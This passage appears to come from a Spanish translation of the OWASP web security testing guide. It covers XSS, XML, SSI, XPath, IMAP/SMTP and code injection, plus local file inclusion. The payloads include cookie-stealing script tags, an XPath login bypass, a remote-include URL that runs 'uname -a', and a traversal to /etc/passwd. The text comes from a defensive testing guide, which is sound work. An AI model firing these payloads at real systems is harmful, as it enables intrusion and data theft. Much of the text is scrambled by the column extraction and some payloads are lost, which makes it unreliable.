contaminación del parámetro HTTP" para obtener más información. Esta
Herramientas
técnica de evasión consiste en dividir un vector de ataque entre los
múltiples parámetros que tengan el mismo nombre. La manipulación del
• OWASP CAL9000
valor de cada parámetro depende de cómo cada tecnología web analiza
estos parámetros, por lo que este tipo de evasión no siempre es posible. Si
CAL9000 es una colección de herramientas de prueba de seguridad en
el ambiente de prueba concatena los valores de todos los parámetros con
aplicaciones web, que complementa el conjunto actual de proxys web y
el mismo nombre, entonces el atacante podría utilizar esta técnica para escáneres automatizados. Se presenta como una referencia en:
evitar los mecanismos de seguridad basados en el patrón.
sec101.sourceforge.net
Ataque normal:
• PHP Charset Encoder(PCE):
http://example/page.php?param=<script>[...]</script> yehg.net
Esta herramienta le permite codificar textos arbitrarios desde y hacia 65

clases de conjuntos de caracteres. Además, se proporcionan algunas
funciones de codificación destacadas de JavaScript.
Ataque usando HPP:

152
• HackVertor: (XSS). Ofrece resultados de análisis de cero falsos positivos con su triple
motor de navegación único (Trident, WebKit y Gecko) escáner
businessinfo.co.uk incrustados. Se afirma que tiene la segunda carga de XSS más grande del
mundo, de aproximadamente 1600+ XSS cargas útiles distintivas para la
Ofrece varias docenas de codificaciones flexibles para ataques de detección eficaz de vulnerabilidades XSS y desvios WAF. El motor de
manipulación de cadena avanzada. Scripting de Xenotix le permite crear casos de prueba personalizados y
add-ons en la API de Xenotix. Tiene incorporado un módulo de
recolección de información abundante para reconocimiento de objetivos.
El framework de explotación incluye módulos de explotación de ofensiva
• WebScarab: WebScarab es un framework para analizar las aplicaciones que
XSS para la creación de pruebas de penetración y prueba de creación de
se comunican mediante los protocolos HTTP y HTTPS: owasp.org
concepto.
• XSS-Proxy: xss-proxy.sourceforge.net
Referencias
XSS-Proxy es una herramienta avanzada de Cross-Site-Scripting (XSS).
Recursos OWASP
• XSS Filter Evasion Cheat Sheet
• ratproxy: code.google.com
Es una herramienta de seguridad y auditoría semiautomática, en gran parte

Libros
pasiva, de aplicaciones web optimizadas que sirven para una detección
precisa y sensible y para realizar una anotación automática de posibles • Joel Scambray, Mike Shema, Caleb Sima - “Hacking Exposed Web
problemas y patrones de diseño relevantes a la seguridad, basados en la Applications”, Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0
observación del tráfico existente, iniciado por el usuario en entornos web 2.0
complejos. • Dafydd Stuttard, Marcus Pinto - “The Web Application’s Handbook -
Discovering and Exploiting Security Flaws”, 2008, Wiley, ISBN 978-0-470-
17077-9
• Burp Proxy - portswigger.net

• Jeremiah Grossman, Robert “RSnake” Hansen, Petko “pdp” D. Petkov, Anton
Rager, Seth Fogie - “Cross Site Scripting Attacks: XSS Exploits and Defense”,
Burp Proxy es un servidor proxy HTTP/S interactivo que sirve para atacar o
2007, Syngress, ISBN-10: 1-59749-154-3
probar aplicaciones web.
Libros Blancos
• OWASP Zed Attack Proxy (ZAP):
• CERT - Malicious HTML Tags Embedded in Client Web Requests: Read
OWASP_Zed_Attack_Proxy_Project
• Rsnake - XSS Cheat Sheet: Read
ZAP es una herramienta de penetración integrada, fácil de usar para
encontrar vulnerabilidades en aplicaciones web. Está diseñada para ser • cgisecurity.com - The Cross Site Scripting FAQ: Read
utilizada por personas con un amplio espectro de experiencia en seguridad y
por eso es ideal para desarrolladores y evaluadores funcionales que son • G.Ollmann - HTML Code Injection and Cross-site scripting: Read
novatos realizando pruebas de penetración. ZAP ofrece escáneres
automatizados, así como un conjunto de herramientas que permiten • A. Calvo, D.Tiscornia - alert(‘A javascritp agent’): Read ( To be published )
encontrar las vulnerabilidades de seguridad manualmente.
• S. Frei, T. Dübendorfer, G. Ollmann, M. May - Understanding the Web
browser threat: Read
• OWASP Xenotix XSS Exploit Framework:
OWASP_Xenotix_XSS_Exploit_Framework Pruebas para Cross site scripting almacenados(OTG-INPVAL-002)
OWASP Xenotix XSS Exploit Framework es un framework avanzado de Resumen

detección y explotación de vulnerabilidades mediante Cross Site Scripting

153
El Cross-site Scripting almacenado (XSS) es el tipo más peligroso de Cross

Site Scripting. Las aplicaciones web que permiten a los usuarios
almacenar datos están potencialmente expuestas a este tipo de ataques. El XSS almacenado es particularmente peligroso en las áreas de las
Este capítulo ilustra ejemplos de escenarios relacionados con la inyección aplicaciones donde los usuarios con altos privilegios tienen acceso.
y explotación de Cross-site Scripting almacenado. Cuando el administrador visita la página vulnerable, el ataque es
ejecutado automáticamente por su navegador. Esto puede exponer
El XSS almacenado se produce cuando una aplicación web reúne la información sensible como fichas de autorización de sesión.
información ingresada por un usuario que puede ser malicioso y esa
información es almacenada para su uso posterior. La información
almacenada no se filtra correctamente. Como consecuencia, los datos
maliciosos aparecerán como parte del sitio web y se ejecutarán en el Cómo probar
navegador del usuario con los privilegios de la aplicación web. Puesto que
esta vulnerabilidad, por lo general, implica al menos dos peticiones a la Pruebas de Caja Negra
aplicación, esto puede también llamarse XSS de segundo orden.
El proceso para la identificación de las vulnerabilidades XSS almacenadas
es similar al proceso descrito en la prueba de reflexión de XSS.
Esta vulnerabilidad se puede utilizar para llevar a cabo una serie de

ataques basados en el navegador incluyendo:
Formularios de ingreso
El primer paso es identificar todos los puntos donde se almacenan los

• Secuestro del navegador de otro usuario datos ingresados por el usuario en la zona de acceso restringido (back-
end) y luego se muestra en la aplicación. Ejemplos típicos de ingresos del
• Captura de información confidencial vista por usuarios de la aplicación usuario almacenados pueden encontrarse en:
• Pseudo desfiguración de la aplicación
• Escaneo de puertos en hosts internos ("internos" en relación a los usuarios de la • User/Profiles page: la aplicación permite al usuario editar o cambiar los
aplicación web) datos del perfil tales como nombre, apellido, apodo, avatar, foto, dirección,
etc.
• Explotación basada en el navegador de entrega dirigida
• Shopping cart: la aplicación permite al usuario guardar artículos en el
• Otras actividades maliciosas carrito de compras que pueden ser revisados posteriormente.
• File Manager: Esta aplicación permite subir archivos.
Un XSS almacenado no necesita un enlace malicioso para ser explotado. • Application settings/preferences: aplicación que permite al usuario
Una explotación exitosa se produce cuando un usuario visita una página establecer sus preferencias.
con un XSS almacenado. Las fases siguientes se relacionan con una
situación de ataque XSS almacenado normal: • Forum/Message board: la aplicación permite intercambiar mensajes entre
usuarios.
• Blog: si la aplicación del blog lo permite, los usuarios envían comentarios.

• El atacante almacena el código malicioso en la página vulnerable
• Log: si la aplicación guarda en registros algunos datos ingresados por el
• El usuario se autentica en la aplicación usuario.
• El usuario visita páginas vulnerables
• El código malicioso se ejecuta en el navegador del usuario Analyze HTML code
Los ingresos almacenados por la aplicación normalmente se utilizan en

etiquetas HTML, pero también pueden encontrarse como parte del contenido
Este tipo de ataque también puede ser explotado mediante frameworks de JavaScript. En esta etapa, es fundamental para entender si la información se
de explotación del navegador como BeEF, XSS Proxy y Backframe. Estos almacena y cómo se ubica en el contexto de la página.
frameworks permiten el desarrollo de ataques complejos de JavaScript.

154
A diferencia de la reflexión XSS, el evaluador de edición también debe

investigar los canales "fuera de banda" a través de los cuales la aplicación aaa@aa.com”><script>alert(document.cookie)</script>
recibe y almacena los datos ingresados por los usuarios.
aaa@aa.com%22%3E%3Cscript%3Ealert(document.cookie)%3C%2F
Nota: Todas las áreas de la aplicación que son accesibles por el administrador script%3E
deben ser probadas para identificar la presencia de cualquier información
enviada por los usuarios.
Ejemplo: Información guardada por email en index2.php
Asegúrese de que el ingreso de datos es enviado a través de la aplicación.

Normalmente esto implica deshabilitar JavaScript si se implementan controles de
seguridad del lado del cliente o modificar la solicitud HTTP con un proxy web
como WebScarab. También es importante comprobar la misma inyección con
peticiones HTTP GET y POST. Los resultados anteriores de la inyección, en una
ventana emergente que contiene los valores de la cookie.
Resultado esperado:
El código HTML de index2.php donde los valores del email se ubican:
<input class=”inputbox” type=”text” name=”email” size=”40”

value=”aaa@aa.com” />
El código HTML posterior a la inyección:
En este caso, el evaluador necesita encontrar una manera de inyectar el código <input class=”inputbox” type=”text” name=”email” size=”40”
fuera de la etiqueta <input> así como: value=”aaa@aa.com”><script>alert(document.cookie)</script>
<input class=”inputbox” type=”text” name=”email” size=”40”

value=”aaa@aa.com”> MALICIOUS CODE  - Esta secuencia de
caracteres se interpreta como el inicio/final de un comentario. Así que al
inyectar uno de ellos en el parámetro de nombre de usuario:
Si ‘&’ no está codificado con & se puede usar para probar una inyección
XML.
Username = foo<userid>0</userid><mail>s4tan@hell.com
Herramientas
• XML Injection Fuzz Strings (from wfuzz tool) -
https://wfuzz.googlecode.com/svn/trunk/wordlist/Injections/XML.txt
En este caso la base de datos XML final es:
<?xml version=”1.0” encoding=”ISO-8859-1”?> Referencias
<users> Libros Blancos
<user> • Alex Stamos: “Attacking Web Services” -

http://www.owasp.org/images/d/d1/AppSec2005DC-Alex_Stamos-
<username>gandalf</username> Attacking_Web_Services.ppt
<password>!c3</password> • Gregory Steuck, “XXE (Xml eXternal Entity) attack”,

http://www.securityfocus.com/archive/1/297714
<userid>0</userid>
Pruebas de inyección de SSI (OTG-INPVAL-009)
</user>
Resumen
<user>
Los servidores web suelen dar a los desarrolladores la posibilidad de
<username>Stefan0</username> añadir pequeñas piezas de código dinámico dentro de páginas HTML
estáticas, sin tener que lidiar con todos los derechos de los lenguajes del
<password>w1s3c</password> servidor o del cliente. Esta característica es encarnada cuando el servidor
incluye (SSI). En la prueba de inyección SSI, probamos si es posible
<userid>500</userid> inyectar en los datos de la aplicación que serán interpretados por
mecanismos del SSI. Una explotación exitosa de esta vulnerabilidad
permite a un atacante inyectar código en páginas HTML o incluso realizar
ejecución remota de códigos.
</user>
<user>
Server-Side Includes son directivas que el servidor web analiza antes de
servir la página al usuario. Representan una alternativa para escribir
programas CGI o incrustar código utilizando lenguajes de scripting del
<password>Un6R34kb!e</password> puesto que las directivas SSI son fáciles de entender y, al mismo tiempo,
bastante potentes, por ejemplo, se puede obtener el contenido de los
archivos y ejecutar comandos del sistema.
para imprimir la hora actual, Cómo probar


La primera cosa que se debe hacer cuando se prueba mediante la técnica
de Caja Negra, es encontrar si el servidor web admite realmente
directivas SSI. A menudo, la respuesta es sí, ya que el soporte de SSI es
bastante común. Para saberlo sólo necesitamos descubrir qué tipo de
servidor web se ejecuta en nuestro objetivo, utilizando técnicas de
para incluir el resultado de un script CGI. recopilación de información clásica.

Si tenemos éxito o no en el descubrimiento de esta pieza de información,

podríamos adivinar si el SSI es compatible solo con mirar el contenido del
sitio web de destino. Si contiene archivos .shtml, entonces el SSI es
probablemente compatible, ya que esta extensión se utiliza para
identificar las páginas que contienen estas directivas.
para incluir el contenido de un archivo o lista de archivos en un directorio,
Desafortunadamente, el uso de la extensión shtml no es obligatoria, así
que si no se ha encontrado ningún archivo shtml, no significa
 necesariamente que el objetivo no es propenso a ataques de inyección
SSI.
El siguiente paso consiste en determinar si un ataque de inyección SSI es

para incluir el resultado de un comando del sistema. posible y, si es así, cuáles son los puntos de entrada que podemos utilizar
para inyectar el código malicioso.
Entonces, si el soporte de SSI del servidor web está habilitado, el servidor

analizará estas directivas. En la configuración predeterminada, por lo La actividad de prueba necesaria para hacer esto es exactamente la
general, la mayoría de servidores web no permiten el uso de la directiva misma que utilizó para probar otras vulnerabilidades de inyección de
exec para ejecutar comandos del sistema. código. En particular, tenemos que encontrar cada página donde el
usuario puede ingresar algún tipo de datos, y comprobar si la aplicación
está validando correctamente esos datos enviados. Si la desinfección es
insuficiente, tenemos que probar si podemos proporcionar datos que van
Como en toda situación de una mala validación de entrada, los problemas a mostrarse sin modificarse (por ejemplo, en un mensaje de error o una
surgen cuando el usuario de una aplicación web puede proporcionar publicación en un foro). Además de los datos suministrados por el
datos que hacen que la aplicación o el servidor web se comporten de usuario común, los vectores de entrada que deben ser considerados
manera imprevista. Con respecto a la inyección SSI, el atacante podría siempre son los contenidos de encabezados de solicitudes y cookies
aportar datos que, si son ingresados por la aplicación (o tal vez HTTP, ya que pueden ser fácilmente falsificados.
directamente por el servidor) en una página generada dinámicamente, se
puede analizar como una o más directivas SSI.
Una vez que tenemos una lista de potenciales puntos de inyección,

podemos comprobar si los datos se validan correctamente y luego
Se trata de una vulnerabilidad muy similar a una vulnerabilidad de averiguar dónde se almacenan los datos proporcionados. Tenemos que
inyección clásica de lenguaje para script. Una mitigación es que el asegurarnos que podemos inyectar los caracteres utilizados en las
servidor web debe configurarse para permitir SSI. Por otro lado, las directivas SSI:

215
Si tenemos acceso al código fuente de la aplicación, fácilmente podemos

< ! # = / . “ - > and [a-zA-Z0-9] averiguar:
[1] Si se usan directivas SSI, el servidor web va a tener el soporte SSI

activo. Hacer una inyección de SSI es, por lo menos, un problema
Para comprobar si la validación es insuficiente, podemos ingresar, por potencial que debe investigarse.
ejemplo, una cadena como la siguiente en un formulario de entrada:
[2] Donde se manejan los datos ingresados por el usuario, el contenido de
las cookies y los encabezados HTTP. La lista completa de vectores de
entrada puede determinarse rápidamente.


[3] Cómo se manejan los datos ingresados, qué tipo de filtro se realiza,
qué caracteres no permiten pasar la aplicación y cuántos tipos de
codificación se consideran.
Esto es similar a las pruebas de vulnerabilidad XSS utilizando Al dar estos pasos se trata, más que nada, de utilizar grep para encontrar
las palabras clave correctas dentro del código fuente (directivas SSI,
variables del entorno CGI, asignación de variables que implican ingreso
de datos del usuario, las funciones de filtro y demás).
<script>alert(“XSS”)</script>
Herramientas
• Web Proxy Burp Suite: portswigger.net
Si la aplicación es vulnerable, la directiva se inyecta y será interpretada • Paros: parosproxy.org

por el servidor la próxima vez que se utilice la página, así como el
contenido del archivo de contraseñas estándar de Unix. • OWASP WebScarab
• String searcher: grep: gnu.org
La inyección puede realizarse también en los encabezados HTTP, si la

aplicación web va a utilizar esos datos para construir una página
generada dinámicamente: Referencias
Libros Blancos
GET / HTTP/1.0
• Apache Tutorial: “Introduction to Server Side Includes”: apache.org
Referer: 

• Apache: “Module mod_include”: apache.org
User-Agent: 

• Apache: “Security Tips for Server Configuration”: apache.org
• Header Based Exploitation: cgisecurity.net
• SSI Injection instead of JavaScript Malware:

jeremiahgrossman.blogspot.com
• IIS: “Notes on Server-Side Includes (SSI) syntax”: blogs.iis.net
Pruebas de inyección de XPath (OTG-INPVAL-010)

216
Resumen
XPath es un lenguaje que ha sido diseñado y desarrollado, sobre todo,
<users>
para dirigirse a las piezas de un documento XML. En la prueba de
inyección XPath, probamos si es posible inyectar la sintaxis de XPath en
<user>
una solicitud interpretada por la aplicación, permitiendo a un atacante
ejecutar consultas XPath controladas por el usuario. Cuando se explota
con éxito, esta vulnerabilidad podría permitir a un atacante eludir
mecanismos de autenticación o información sin la debida autorización. <password>!c3</password>
<account>admin</account>
Las aplicaciones web utilizan constantemente bases de datos para </user>

almacenar y acceder a los datos que necesitan para sus operaciones.
Históricamente, las bases de datos relacionales han sido, en gran medida, <user>
la tecnología más común para el almacenamiento de datos, pero, en los
últimos años, hemos sido testigos de una creciente popularidad de las <username>Stefan0</username>
bases de datos que organizan los datos mediante el lenguaje XML.
<password>w1s3c</password>
<account>guest</account>
Tal como las bases de datos relacionales se acceden a través del lenguaje
SQL, las bases de datos XML utilizan XPath como su lenguaje de consulta </user>
estándar.
<user>
Ya que, desde un punto de vista conceptual, XPath es muy similar a SQL
en sus propósitos y usos, un resultado interesante es que los ataques de <password>Un6R34kb!e</password>
inyección XPath siguen la misma lógica que los ataques de inyección SQL.
En algunos aspectos, XPath es incluso más poderoso que el SQL estándar,
ya que todo su poder está ya presente en sus especificaciones, mientras
que un gran número de técnicas que pueden utilizarse en un ataque de
inyección SQL depende de las características del dialecto SQL usado por Una consulta XPath que devuelve la cuenta cuyo username es "gandalf" y la
la base de datos de destino. contraseña es "! c3" sería la siguiente:
string(//user[username/text()=’gandalf’ and
Esto significa que los ataques de inyección XPath pueden ser mucho más password/text()=’!c3’]/account/text())
adaptables y ubicuos. Otra de las ventajas de un ataque de inyección
XPath es que, a diferencia del SQL, no se aplica ningún ACL ya que nuestra
consulta puede acceder a todas las partes del documento XML.
Si la aplicación no filtra correctamente los datos introducidos por el usuario,

Cómo probar el evaluador será capaz de inyectar código XPath e interferir en el resultado de
la consulta. Por ejemplo, el evaluador podría introducir los siguientes valores:
El patrón de ataque XPath fue publicado por primera vez por Amit Klein [1] y
es muy similar a la habitual inyección de SQL. Para obtener una primera
comprensión del problema, imaginemos una página de inicio de sesión que Username: ‘ or ‘1’ = ‘1
gestiona la autenticación para una aplicación en la que el usuario debe
Password: ‘ or ‘1’ = ‘1
introducir su nombre de usuario y contraseña.
Supongamos que nuestra base de datos está representada por el siguiente

archivo XML:

217
Se ve bastante familiar, ¿no? Utilizando estos parámetros, la consulta se La técnica de inyección IMAP/SMTP es más eficaz si el servidor de correo
convierte en: no es directamente accesible desde el Internet. Donde una comunicación
completa con el servidor de correo de acceso restringido sea posible, se
recomienda realizar pruebas directas.
string(//user[username/text()=’’ or ‘1’ = ‘1’ and password/text()=’’ or
‘1’ = ‘1’]/account/text())
Una inyección IMAP/SMTP permite acceder a un servidor de correo que,

de otra manera, no sería directamente accesible desde Internet. En
algunos casos, estos sistemas internos no tienen el mismo nivel de
seguridad y rigurosidad en la infraestructura que se aplica a los
Como en un ataque de inyección SQL común, hemos creado una consulta servidores web de acceso frontal. Por lo tanto, los resultados de los
que siempre se evalúa como verdadera, lo que significa que la aplicación servidores de correo pueden ser más vulnerables a ataques por parte de
autenticará al usuario incluso si no ha proporcionado un nombre de usuarios finales (vea el esquema presentado a continuación).
usuario o una contraseña.
Y como en un ataque de inyección SQL comun, con la inyección XPath, el

primer paso es insertar una comilla sencilla (') en el campo que vamos a
probar, introducir un error de sintaxis en la consulta y así comprobar si la
aplicación devuelve un mensaje de error.
Si no hay ningún conocimiento acerca de los detalles internos de datos

XML, y si la aplicación no proporciona mensajes de error útiles que nos
ayuden a la reconstrucción de su lógica interna, es posible realizar un
ataque de inyección ciega de XPath, cuyo objetivo es reconstruir toda la
estructura de datos. La técnica es similar a la inyección de SQL basada en
la inferencia, ya que el método consiste en inyectar el código que crea una
consulta que devuelve un bit de información. La inyección ciega de XPath
se explica más detalladamente por Amit Klein en el documento de
referencia.
Referencias
Libros Blancos
• Amit Klein: “Blind XPath Injection”: packetstorm.foofus.com
• XPath 1.0 specifications: w3.org
Pruebas de inyección de IMAP/SMTP (OTG-INPVAL-011)
Resumen
Esta amenaza afecta a todas las aplicaciones que se comunican con La figura 1 muestra el flujo de tráfico visto generalmente al utilizar
servidores de correo (IMAP/SMTP), generalmente aplicaciones de tecnologías de webmail. Los pasos 1 y 2 son el usuario interactuando con el
webmail. El objetivo de esta prueba es verificar la capacidad de inyectar cliente de correo web, mientras que el paso 3 es el evaluador evadiendo al
comandos IMAP/SMTP arbitrarios en los servidores de correo, debido a cliente webmail e interactuando directamente con los servidores de correo de
que el ingreso de datos no está correctamente desinfectado. acceso restringido (back-end).

218
Esta técnica permite una amplia variedad de acciones y ataques. Las

posibilidades dependen del tipo y ámbito de la inyección y la tecnología
del servidor de correo que se está probando.
Algunos ejemplos de ataques con la técnica de inyección IMAP/SMTP son:
• Explotación de vulnerabilidades en el protocolo IMAP/SMTP. • Evasión de

restricciones de la aplicación.
• Evasión del proceso anti-automatización.
• Fugas de información
• Relevo/SPAM
Cómo probar En este ejemplo, el parámetro de "mailbox" se prueba manipulando todas

las solicitudes con el parámetro siguiente:
Los patrones estandar de ataque son:
• Identificación der los parámetros vulnerables. http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=46

106&startMessage=1
• Entendimiento del flujo de información y estructura de despliegue del
cliente.
• Inyección de comandos IMAP/SMTP.
Los siguientes ejemplos pueden usarse:
Identifique los parámetros vulnerables • Asigne un valor null al parametro:
Para poder detectar los parámetros vulnerables, el evaluador tiene que

analizar la capacidad de la aplicación en el manejo de datos de entrada. http://<webmail>/src/read_body.php?mailbox=&passed_id=46106&st
Las pruebas de validación de ingreso de datos requieren que el evaluador artMessage=1
envíe solicitudes falsas o maliciosas al servidor y analice la respuesta. En
una aplicación segura, la respuesta debe ser un error con alguna acción
correspondiente que le indica al cliente que algo ha salido mal. En una
aplicación vulnerable, la solicitud podría ser procesada por la aplicación • Sustituya el valor con uno aleatorio:
de acceso restringido que responderá con un mensaje de respuesta
"HTTP 200 OK".
http://<webmail>/src/read_body.php?mailbox=NOTEXIST&passed_i
d=46106&startMessage=1
Es importante tener en cuenta que las solicitudes enviadas deben

coincidir con la tecnología que se está probando. Enviar cadenas de
• Añada otros valores al parámetro:
inyección SQL para Microsoft SQL server cuando se utiliza un servidor
MySQL dará como resultado falsos positivos. En este caso, enviar
comandos IMAP maliciosos es el modus operandi ya que IMAP es el http://<webmail>/src/read_body.php?mailbox=INBOX
protocolo subyacente que se está probando. PARAMETER2&passed_id=46106&startMessage=1
Los parámetros especiales de IMAP que se deben utilizar son: • Añada caracteres especiales no éstandar (i.e.: \, ‘, “, @, #, !, |):

219
http://<webmail>/src/read_body.php?mailbox=INBOX”&passed_id=4
http://<webmail>/src/view_header.php?mailbox=INBOX%22&passed
6106&startMessage=1
_id=46105&passed_ent_id=0
• Elimine el parámetro:
http://<webmail>/src/read_body.php?passed_id=46106&startMessage En este caso, la respuesta de la aplicación podría ser:

=1
ERROR: Bad or malformed request.
uery: SELECT “INBOX””
Server responded: Unexpected extra arguments to Select

El resultado final de la prueba anterior da al evaluador tres situaciones
posibles:
S1 - La aplicación devuelve un código/mensaje de error. La situación S2 es más difícil de probar con éxito. El probador debe usar
inyección ciega de comandos para determinar si el servidor es vulnerable.
S2 - La aplicación no devuelve un código/mensaje de error, pero no
realiza la operación solicitada.
S3 - La aplicación no devuelve un código/mensaje de error, y realiza la Por otro lado, la última situación (S3) no es relevante en esta sección.
operación solicitada normalmente.
Resultado esperado:
Las situaciones S1 y S2 representan una inyección IMAP/SMTP exitosa.
• Lista de parámetros vulnerables.

El objetivo de un atacante es recibir la respuesta de S1, ya que es un
indicador de que la aplicación es vulnerable a la inyección y posterior • Funcionalidad afectada.
manipulación.
• Tipo de inyección posible (IMAP/SMTP).
Supongamos que un usuario recupera los encabezados de correo

electrónico al usar la siguiente solicitud HTTP: Entienda la estructura de flujo y despliegue de datos del cliente
Después de identificar todos los parámetros vulnerables (por ejemplo,

http://<webmail>/src/view_header.php?mailbox=INBOX&passed_id= "passed_id"), el evaluador necesita determinar qué nivel de inyección es
46105&passed_ent_id=0 posible y luego diseñar un plan de prueba para explotar aún más la
aplicación.
En este caso de prueba, hemos detectado que el parámetro de la

Un atacante podría modificar el valor del parámetro INBOX al inyectar el aplicación "passed_id" es vulnerable y se utiliza en la siguiente petición:
carácter “ (%22 usando codificación URL):
http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=46
225&startMessage=1

220
Inyección de comandos IMAP/SMTP
Al utilizar el siguiente caso de prueba (cuando proporciona un valor alfabético Una vez que el evaluador ha identificado los parámetros vulnerables y ha
y se requiere un valor numérico): analizado el contexto en el que se ejecutan, la siguiente etapa es explotar
la funcionalidad.
http://<webmail>/src/read_body.php?mailbox=INBOX&passed_id=te
st&startMessage=1
Esta etapa tiene dos posibles resultados:
[1] La inyección es posible en un estado no autenticado: la funcionalidad

afectada no requiere autenticar al usuario. Los comandos (IMAP)
inyectados disponibles están limitados a: CAPABILITY, NOOP,
generará el siguiente mensaje de error:
AUTHENTICATE, LOGIN y LOGOUT.
ERROR : Bad or malformed request. [2] La inyección sólo es posible en un estado autenticado: la explotación
exitosa requiere que el usuario esté plenamente autenticado antes de que
Query: FETCH test:test BODY[HEADER] la prueba pueda continuar.
En cualquier caso, la estructura típica de una inyección IMAP/SMTP es la

siguiente:
En este ejemplo, el mensaje de error devolvió el nombre del comando
ejecutado y los parámetros correspondientes.
• Encabezado: finalización del comando esperado;
En otras situaciones, el mensaje de error ( "not controlled", no controlado • Cuerpo: inyección del nuevo comando;
por la aplicación) contiene el nombre del comando ejecutado, pero leer el
RFC adecuado (vea la sección de "Referencia") le permitirá al evaluador • Pie: inicio del comando esperado.
entender qué otros comandos pueden ser ejecutados.
Es importante recordar que, para ejecutar un comando IMAP/SMTP, el

Si la aplicación no devuelve mensajes de error descriptivos, el probador comando anterior debe terminar con la secuencia CRLF (0%d%0a).
debe analizar la funcionalidad afectada para deducir todos los posibles
comandos (y parámetros) asociados con las funciones mencionadas.
Supongamos que en la etapa 1 ("Identificando parámetros vulnerables"),

el atacante detecta que el parámetro "message_id" en la siguiente petición
Por ejemplo, si un parámetro vulnerable ha sido detectado en la es vulnerable:
funcionalidad de crear un buzón de correo, es lógico asumir que el
comando IMAP afectado es "CREATE". Según el RFC, el comando CREATE
acepta un parámetro que especifica el nombre del buzón a crear. http://<webmail>/read_email.php?message_id=4791
Resultado esperado:
Supongamos también que el resultado del análisis realizado en la etapa 2

("Entendiendo la estructura de flujo y despliegue de datos del cliente") ha
• Listado de los comandos afectados de IMAP/SMTP. identificado el comando y los argumentos asociados con este parámetro
como:
• Tipo, valor y número de los parámetros esperados por los comandos
IMAP/SMTP afectados.

221
http://www.webappsec.org/projects/articles/121106.pdf
FETCH 4791 BODY[HEADER]
Pruebas de inyección de código (OTG-INPVAL-012)
Resumen
En este escenario, la estructura de inyección IMAP sería:
Esta sección describe cómo un evaluador puede comprobar si es posible
introducir código en una página web y ejecutarlo con el servidor web.
http://<webmail>/read_email.php?message_id=4791
BODY[HEADER]%0d%0aV100 CAPABILITY%0d%0aV101
FETCH 4791
En la prueba de inyección de código, un evaluador envía información que
es procesada por el servidor web como código dinámico o como un
archivo incluido. Estas pruebas pueden dirigirse a varios motores de
secuencias de scripting del servidor, como ASP o PHP. Una correcta
validación de la entrada y prácticas de codificación seguras deben
Lo que generaría los siguientes comandos: emplearse para protegerse de estos ataques.
???? FETCH 4791 BODY[HEADER]

Cómo probar
V100 CAPABILITY
V101 FETCH 4791 BODY[HEADER]
Pruebe las vulnerabilidades de inyección PHP
Utilizando la cadena de consulta, el evaluador puede inyectar códigos (en

este ejemplo, una URL maliciosa) para ser procesados como parte del
Donde: archivo incluido:
Header = 4791 BODY[HEADER]

Resultado esperado:
Body = %0d%0aV100 CAPABILITY%0d%0a
Footer = V101 FETCH 4791

http://www.example.com/uptime.php?pin=http://www.example2.com/
packx1/cs.jpg?&cmd=uname%20-a
Resultado esperado:
• Inyección arbitraria de comandos IMAP/SMTP

La URL es aceptada como un parámetro de la página PHP, que más tarde
utilizará el valor en un archivo incluido.
Referencias
Libros Blancos Pruebas de Caja Gris
• RFC 0821 “http://www.ietf.org/rfc/rfc0821.txt”. Pruebe las vulnerabilidades de inyección ASP
• RFC 3501 “http://www.ietf.org/rfc/rfc3501.txt”. Examine el código ASP en busca de información ingresada por el usuario
en funciones de ejecución. ¿ El usuario puede ingresar los comandos en el
• Vicente Aguilera Díaz: “MX Injection: Capturing and Exploiting Hidden Mail campo de entrada de datos? Aquí, el código ASP almacena la información
Servers” - en un archivo y luego lo ejecuta:

222
• Reviewing Code for OS Injection
<%
Pruebas para determinar la inclusión de documentos locales
If not isEmpty(Request( “Data” ) ) Then
Resumen
Dim fso, f
La vulnerabilidad de inclusión de documentos permite al atacante incluir un
‘User input Data is written to a file named data.txt documento, normalmente explotando un mecanismo de “inclusión de
documento dinámica” implementado en la aplicación objetivo. La
Set fso = CreateObject(“Scripting.FileSystemObject”)
vulnerabilidad ocurre debido al uso de datos ingresados por el usuario sin una
apropiada validación.
Set f = fso.OpenTextFile(Server.MapPath( “data.txt” ), 8, True)
f.Write Request(“Data”) & vbCrLf

Esto puede conducir a algo como mostrar el contenido del archivo, pero
f.close
dependiendo de la gravedad, también puede llevar a:
Set f = nothing
Set fso = Nothing

• Ejecución de código en el servidor web.
• Ejecución de código en el lado del cliente como JavaScript que puede

conducir a otros ataques tales como cross site scripting (XSS).
‘Data.txt is executed
• Negación de servicio (DoS).
• Despliegue de información sensible.
Else
%> La inclusión de archivos locales (también conocida como LFI) es el

proceso de incluir archivos, que ya están presentes localmente en el
<form> servidor, a través de la explotación de las vulnerabilidades en los
procedimientos de inserción implementados en la aplicación. Esta
<input name=”Data” /><input type=”submit” name=”Enter Data” /> vulnerabilidad se produce, por ejemplo, cuando una página recibe, como
datos, la ruta del archivo que debe estar incluida y este dato no ha sido
</form> correctamente desinfectado, permitiendo que caracteres de salto de
directorio (como dot-dot-slash) sean inyectados. Aunque la mayoría de
<% ejemplos apuntan a scripts PHP vulnerables, debemos tener en cuenta
que también es común en tecnologías como JSP, ASP y otras.
End If
%>)))
Cómo probar
Cómo la LFI ocurre cuando los caminos para "incluir" declaraciones no se

desinfectan correctamente, en un enfoque de pruebas de Caja Negra,
debemos buscar scripts que tomen los nombres de archivos como
Referencias parámetros.
• Security Focus - http://www.securityfocus.com
• Insecure.org - http://www.insecure.org
Considere el siguiente ejemplo:
• Wikipedia - http://www.wikipedia.org

223
http://vulnerable_host/preview.php?file=example.html http://vulnerable_host/preview.php?file=../../../../etc/passwd%00
Este caso parece el lugar perfecto para buscar LFI. Si un atacante tiene Referencias
suficiente suerte, y en vez de seleccionar la página apropiada de la matriz
por su nombre, la secuencia de comandos incluye directamente el • Wikipedia - http://www.wikipedia.org/wiki/Local_File_Inclusion
parámetro de entrada, es posible incluir archivos arbitrarios en el
servidor. • Hakipedia - http://hakipedia.com/index.php/Local_File_Inclusion
La típica prueba del concepto sería cargar el archivo passwd: Remediación
La solución más eficaz para eliminar las vulnerabilidades de inclusión de

http://vulnerable_host/preview.php?file=../../../../etc/passwd archivo es evitar pasar datos ingresados por el usuario a cualquier
filesystem/framework API. Si esto no es posible, la aplicación puede
mantener una lista blanca de archivos que pueden ser incluidos por la
página y luego utilizar un identificador (por ejemplo, el número de índice)
para tener acceso al archivo seleccionado.
Si se cumplen las condiciones mencionadas, un atacante vería algo como lo

siguiente:
Cualquier solicitud que contenga un identificador inválido será
rechazada; de esta manera, no hay ninguna superficie de ataque para que
root:x:0:0:root:/root:/bin/bash
